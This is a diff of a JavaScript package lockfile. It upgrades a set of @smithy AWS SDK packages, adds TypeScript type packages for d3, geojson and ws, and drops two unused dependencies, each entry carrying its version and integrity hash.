+ "@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="],
- "@smithy/smithy-client": ["@smithy/smithy-client@4.1.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-stack": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-UYDolNg6h2O0L+cJjtgSyKKvEKCOa/8FHYJnBobyeoeWDmNpXjwOAtw16ezyeu1ETuuLEOZbrynK0ZY1Lx9Jbw=="],
+ "@smithy/smithy-client": ["@smithy/smithy-client@4.12.3", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-endpoint": "^4.4.23", "@smithy/middleware-stack": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw=="],
- "@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+ "@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
- "@smithy/url-parser": ["@smithy/url-parser@4.0.1", "", { "dependencies": { "@smithy/querystring-parser": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gPXcIEUtw7VlK8f/QcruNXm7q+T5hhvGu9tl63LsJPZ27exB6dtNwvh2HIi0v7JcXJ5emBxB+CJxwaLEdJfA+g=="],
+ "@smithy/url-parser": ["@smithy/url-parser@4.2.11", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing=="],
- "@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
+ "@smithy/util-base64": ["@smithy/util-base64@4.3.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ=="],
- "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
+ "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ=="],
- "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-q0iDP3VsZzqJyje8xJWEJCNIu3lktUGVoSy1KB0UWym2CL1siV3artm+u1DFYTLejpsrdGyCSWBdGNjJzfDPjg=="],
+ "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g=="],
- "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
+ "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.2", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q=="],
- "@smithy/util-config-provider": ["@smithy/util-config-provider@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w=="],
+ "@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ=="],
- "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.0.7", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-CZgDDrYHLv0RUElOsmZtAnp1pIjwDVCSuZWOPhIOBvG36RDfX1Q9+6lS61xBf+qqvHoqRjHxgINeQz47cYFC2Q=="],
+ "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.39", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ui7/Ho/+VHqS7Km2wBw4/Ab4RktoiSshgcgpJzC4keFPs6tLJS4IQwbeahxQS3E/w98uq6E1mirCH/id9xIXeQ=="],
- "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.0.7", "", { "dependencies": { "@smithy/config-resolver": "^4.0.1", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-79fQW3hnfCdrfIi1soPbK3zmooRFnLpSx3Vxi6nUlqaaQeC5dm8plt4OTNDNqEEEDkvKghZSaoti684dQFVrGQ=="],
+ "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.42", "", { "dependencies": { "@smithy/config-resolver": "^4.4.10", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-QDA84CWNe8Akpj15ofLO+1N3Rfg8qa2K5uX0y6HnOp4AnRYRgWrKx/xzbYNbVF9ZsyJUYOfcoaN3y93wA/QJ2A=="],
- "@smithy/util-endpoints": ["@smithy/util-endpoints@3.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-zVdUENQpdtn9jbpD9SCFK4+aSiavRb9BxEtw9ZGUR1TYo6bBHbIoi7VkrFQ0/RwZlzx0wRBaRmPclj8iAoJCLA=="],
+ "@smithy/util-endpoints": ["@smithy/util-endpoints@3.3.2", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-+4HFLpE5u29AbFlTdlKIT7jfOzZ8PDYZKTb3e+AgLz986OYwqTourQ5H+jg79/66DB69Un1+qKecLnkZdAsYcA=="],
- "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg=="],
- "@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+ "@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="],
- "@smithy/util-retry": ["@smithy/util-retry@4.0.1", "", { "dependencies": { "@smithy/service-error-classification": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-WmRHqNVwn3kI3rKk1LsKcVgPBG6iLTBGC1iYOV3GQegwJ3E8yjzHytPt26VNzOWr1qu0xE03nK0Ug8S7T7oufw=="],
+ "@smithy/util-retry": ["@smithy/util-retry@4.2.11", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XSZULmL5x6aCTTii59wJqKsY1l3eMIAomRAccW7Tzh9r8s7T/7rdo03oektuH5jeYRlJMPcNP92EuRDvk9aXbw=="],
- "@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
+ "@smithy/util-stream": ["@smithy/util-stream@4.5.17", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ=="],
- "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw=="],
- "@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
+ "@smithy/util-utf8": ["@smithy/util-utf8@4.2.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw=="],
- "@smithy/util-waiter": ["@smithy/util-waiter@4.0.6", "", { "dependencies": { "@smithy/abort-controller": "^4.0.4", "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-slcr1wdRbX7NFphXZOxtxRNA7hXAAtJAXJDE/wdoMAos27SIquVCKiSqfB6/28YzQ8FCsB5NKkhdM5gMADbqxg=="],
+ "@smithy/util-waiter": ["@smithy/util-waiter@4.2.11", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-x7Rh2azQPs3XxbvCzcttRErKKvLnbZfqRf/gOjw2pb+ZscX88e5UkRPCB67bVnsFHxayvMvmePfKTqsRb+is1A=="],
- "@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+ "@smithy/uuid": ["@smithy/uuid@1.1.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g=="],
"@stitches/core": ["@stitches/core@1.2.8", "", {}, "sha512-Gfkvwk9o9kE9r9XNBmJRfV8zONvXThnm1tcuojL04Uy5uRyqg93DC83lDebl0rocZCfKSjUv+fWYtMQmEDJldg=="],
@@ -1883,10 +2011,6 @@
"@tokenizer/token": ["@tokenizer/token@0.3.0", "", {}, "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="],
- "@tootallnate/once": ["@tootallnate/once@2.0.0", "", {}, "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A=="],
-
- "@trysound/sax": ["@trysound/sax@0.2.0", "", {}, "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA=="],
-
"@tsconfig/node10": ["@tsconfig/node10@1.0.11", "", {}, "sha512-DcRjDCujK/kCk/cUe8Xz8ZSpm8mS3mNNpta+jGCA6USEDfktlNvm1+IuZ9eTcDbNk41BHwpHHeW+N1lKCz4zOw=="],
"@tsconfig/node12": ["@tsconfig/node12@1.0.11", "", {}, "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag=="],
@@ -1913,9 +2037,69 @@
"@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="],
- "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="],
+ "@types/d3": ["@types/d3@7.4.3", "", { "dependencies": { "@types/d3-array": "*", "@types/d3-axis": "*", "@types/d3-brush": "*", "@types/d3-chord": "*", "@types/d3-color": "*", "@types/d3-contour": "*", "@types/d3-delaunay": "*", "@types/d3-dispatch": "*", "@types/d3-drag": "*", "@types/d3-dsv": "*", "@types/d3-ease": "*", "@types/d3-fetch": "*", "@types/d3-force": "*", "@types/d3-format": "*", "@types/d3-geo": "*", "@types/d3-hierarchy": "*", "@types/d3-interpolate": "*", "@types/d3-path": "*", "@types/d3-polygon": "*", "@types/d3-quadtree": "*", "@types/d3-random": "*", "@types/d3-scale": "*", "@types/d3-scale-chromatic": "*", "@types/d3-selection": "*", "@types/d3-shape": "*", "@types/d3-time": "*", "@types/d3-time-format": "*", "@types/d3-timer": "*", "@types/d3-transition": "*", "@types/d3-zoom": "*" } }, "sha512-lZXZ9ckh5R8uiFVt8ogUNf+pIrK4EsWrx2Np75WvF/eTpJ0FMHNhjXk8CKEx/+gpHbNQyJWehbFaTvqmHWB3ww=="],
- "@types/diff": ["@types/diff@6.0.0", "", {}, "sha512-dhVCYGv3ZSbzmQaBSagrv1WJ6rXCdkyTcDyoNu1MD8JohI7pR7k8wdZEm+mvdxRKXyHVwckFzWU1vJc+Z29MlA=="],
+ "@types/d3-array": ["@types/d3-array@3.2.2", "", {}, "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw=="],
+
+ "@types/d3-axis": ["@types/d3-axis@3.0.6", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-pYeijfZuBd87T0hGn0FO1vQ/cgLk6E1ALJjfkC0oJ8cbwkZl3TpgS8bVBLZN+2jjGgg38epgxb2zmoGtSfvgMw=="],
+
+ "@types/d3-brush": ["@types/d3-brush@3.0.6", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-nH60IZNNxEcrh6L1ZSMNA28rj27ut/2ZmI3r96Zd+1jrZD++zD3LsMIjWlvg4AYrHn/Pqz4CF3veCxGjtbqt7A=="],
+
+ "@types/d3-chord": ["@types/d3-chord@3.0.6", "", {}, "sha512-LFYWWd8nwfwEmTZG9PfQxd17HbNPksHBiJHaKuY1XeqscXacsS2tyoo6OdRsjf+NQYeB6XrNL3a25E3gH69lcg=="],
+
+ "@types/d3-color": ["@types/d3-color@3.1.3", "", {}, "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A=="],
+
+ "@types/d3-contour": ["@types/d3-contour@3.0.6", "", { "dependencies": { "@types/d3-array": "*", "@types/geojson": "*" } }, "sha512-BjzLgXGnCWjUSYGfH1cpdo41/hgdWETu4YxpezoztawmqsvCeep+8QGfiY6YbDvfgHz/DkjeIkkZVJavB4a3rg=="],
+
+ "@types/d3-delaunay": ["@types/d3-delaunay@6.0.4", "", {}, "sha512-ZMaSKu4THYCU6sV64Lhg6qjf1orxBthaC161plr5KuPHo3CNm8DTHiLw/5Eq2b6TsNP0W0iJrUOFscY6Q450Hw=="],
+
+ "@types/d3-dispatch": ["@types/d3-dispatch@3.0.7", "", {}, "sha512-5o9OIAdKkhN1QItV2oqaE5KMIiXAvDWBDPrD85e58Qlz1c1kI/J0NcqbEG88CoTwJrYe7ntUCVfeUl2UJKbWgA=="],
+
+ "@types/d3-drag": ["@types/d3-drag@3.0.7", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ=="],
+
+ "@types/d3-dsv": ["@types/d3-dsv@3.0.7", "", {}, "sha512-n6QBF9/+XASqcKK6waudgL0pf/S5XHPPI8APyMLLUHd8NqouBGLsU8MgtO7NINGtPBtk9Kko/W4ea0oAspwh9g=="],
+
+ "@types/d3-ease": ["@types/d3-ease@3.0.2", "", {}, "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA=="],
+
+ "@types/d3-fetch": ["@types/d3-fetch@3.0.7", "", { "dependencies": { "@types/d3-dsv": "*" } }, "sha512-fTAfNmxSb9SOWNB9IoG5c8Hg6R+AzUHDRlsXsDZsNp6sxAEOP0tkP3gKkNSO/qmHPoBFTxNrjDprVHDQDvo5aA=="],
+
+ "@types/d3-force": ["@types/d3-force@3.0.10", "", {}, "sha512-ZYeSaCF3p73RdOKcjj+swRlZfnYpK1EbaDiYICEEp5Q6sUiqFaFQ9qgoshp5CzIyyb/yD09kD9o2zEltCexlgw=="],
+
+ "@types/d3-format": ["@types/d3-format@3.0.4", "", {}, "sha512-fALi2aI6shfg7vM5KiR1wNJnZ7r6UuggVqtDA+xiEdPZQwy/trcQaHnwShLuLdta2rTymCNpxYTiMZX/e09F4g=="],
+
+ "@types/d3-geo": ["@types/d3-geo@3.1.0", "", { "dependencies": { "@types/geojson": "*" } }, "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ=="],
+
+ "@types/d3-hierarchy": ["@types/d3-hierarchy@3.1.7", "", {}, "sha512-tJFtNoYBtRtkNysX1Xq4sxtjK8YgoWUNpIiUee0/jHGRwqvzYxkq0hGVbbOGSz+JgFxxRu4K8nb3YpG3CMARtg=="],
+
+ "@types/d3-interpolate": ["@types/d3-interpolate@3.0.4", "", { "dependencies": { "@types/d3-color": "*" } }, "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA=="],
+
+ "@types/d3-path": ["@types/d3-path@3.1.1", "", {}, "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg=="],
+
+ "@types/d3-polygon": ["@types/d3-polygon@3.0.2", "", {}, "sha512-ZuWOtMaHCkN9xoeEMr1ubW2nGWsp4nIql+OPQRstu4ypeZ+zk3YKqQT0CXVe/PYqrKpZAi+J9mTs05TKwjXSRA=="],
+
+ "@types/d3-quadtree": ["@types/d3-quadtree@3.0.6", "", {}, "sha512-oUzyO1/Zm6rsxKRHA1vH0NEDG58HrT5icx/azi9MF1TWdtttWl0UIUsjEQBBh+SIkrpd21ZjEv7ptxWys1ncsg=="],
+
+ "@types/d3-random": ["@types/d3-random@3.0.3", "", {}, "sha512-Imagg1vJ3y76Y2ea0871wpabqp613+8/r0mCLEBfdtqC7xMSfj9idOnmBYyMoULfHePJyxMAw3nWhJxzc+LFwQ=="],
+
+ "@types/d3-scale": ["@types/d3-scale@4.0.9", "", { "dependencies": { "@types/d3-time": "*" } }, "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw=="],
+
+ "@types/d3-scale-chromatic": ["@types/d3-scale-chromatic@3.1.0", "", {}, "sha512-iWMJgwkK7yTRmWqRB5plb1kadXyQ5Sj8V/zYlFGMUBbIPKQScw+Dku9cAAMgJG+z5GYDoMjWGLVOvjghDEFnKQ=="],
+
+ "@types/d3-selection": ["@types/d3-selection@3.0.11", "", {}, "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w=="],
+
+ "@types/d3-shape": ["@types/d3-shape@3.1.8", "", { "dependencies": { "@types/d3-path": "*" } }, "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w=="],
+
+ "@types/d3-time": ["@types/d3-time@3.0.4", "", {}, "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g=="],
+
+ "@types/d3-time-format": ["@types/d3-time-format@4.0.3", "", {}, "sha512-5xg9rC+wWL8kdDj153qZcsJ0FWiFt0J5RB6LYUNZjwSnesfblqrI/bJ1wBdJ8OQfncgbJG5+2F+qfqnqyzYxyg=="],
+
+ "@types/d3-timer": ["@types/d3-timer@3.0.2", "", {}, "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw=="],
+
+ "@types/d3-transition": ["@types/d3-transition@3.0.9", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg=="],
+
+ "@types/d3-zoom": ["@types/d3-zoom@3.0.8", "", { "dependencies": { "@types/d3-interpolate": "*", "@types/d3-selection": "*" } }, "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw=="],
+
+ "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="],
"@types/estree": ["@types/estree@1.0.6", "", {}, "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw=="],
@@ -1927,6 +2111,8 @@
"@types/express-session": ["@types/express-session@1.18.2", "", { "dependencies": { "@types/express": "*" } }, "sha512-k+I0BxwVXsnEU2hV77cCobC08kIsn4y44C3gC0b46uxZVMaXA04lSPgRLR/bSL2w0t0ShJiG8o4jPzRG/nscFg=="],
+ "@types/geojson": ["@types/geojson@7946.0.16", "", {}, "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg=="],
+
"@types/hast": ["@types/hast@3.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ=="],
"@types/http-errors": ["@types/http-errors@2.0.4", "", {}, "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA=="],
@@ -2011,10 +2197,14 @@
"@types/webidl-conversions": ["@types/webidl-conversions@7.0.3", "", {}, "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA=="],
+ "@types/whatwg-mimetype": ["@types/whatwg-mimetype@3.0.2", "", {}, "sha512-c2AKvDT8ToxLIOUlN51gTiHXflsfIFisS4pO7pDPoKouJCESkhZnEy623gwP9laCy5lnLDAw1vAzu2vM2YLOrA=="],
+
"@types/whatwg-url": ["@types/whatwg-url@11.0.5", "", { "dependencies": { "@types/webidl-conversions": "*" } }, "sha512-coYR071JRaHa+xoEvvYqvnIHaVqaYrLPbsufM9BF63HkwI5Lgmy2QR8Q5K/lYDYo5AK82wOvSOS0UsLTpTG7uQ=="],
"@types/winston": ["@types/winston@2.4.4", "", { "dependencies": { "winston": "*" } }, "sha512-BVGCztsypW8EYwJ+Hq+QNYiT/MUyCif0ouBH+flrY66O5W+KIXAMML6E/0fJpm7VjIzgangahl5S03bJJQGrZw=="],
+ "@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="],
+
"@types/xml-encryption": ["@types/xml-encryption@1.2.4", "", { "dependencies": { "@types/node": "*" } }, "sha512-I69K/WW1Dv7j6O3jh13z0X8sLWJRXbu5xnHDl9yHzUNDUBtUoBY058eb5s+x/WG6yZC1h8aKdI2EoyEPjyEh+Q=="],
"@types/xml2js": ["@types/xml2js@0.4.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-4YnrRemBShWRO2QjvUin8ESA41rH+9nQGLUGZV/1IDhi3SL9OhdpNC/MrulTWuptXKwhx/aDxE7toV0f/ypIXQ=="],
@@ -2039,6 +2229,8 @@
